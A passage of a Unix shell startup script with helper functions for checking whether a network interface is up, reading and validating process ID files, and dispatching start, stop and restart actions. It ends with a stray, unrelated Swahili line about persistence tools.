test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Mbinu na zana za kudumu
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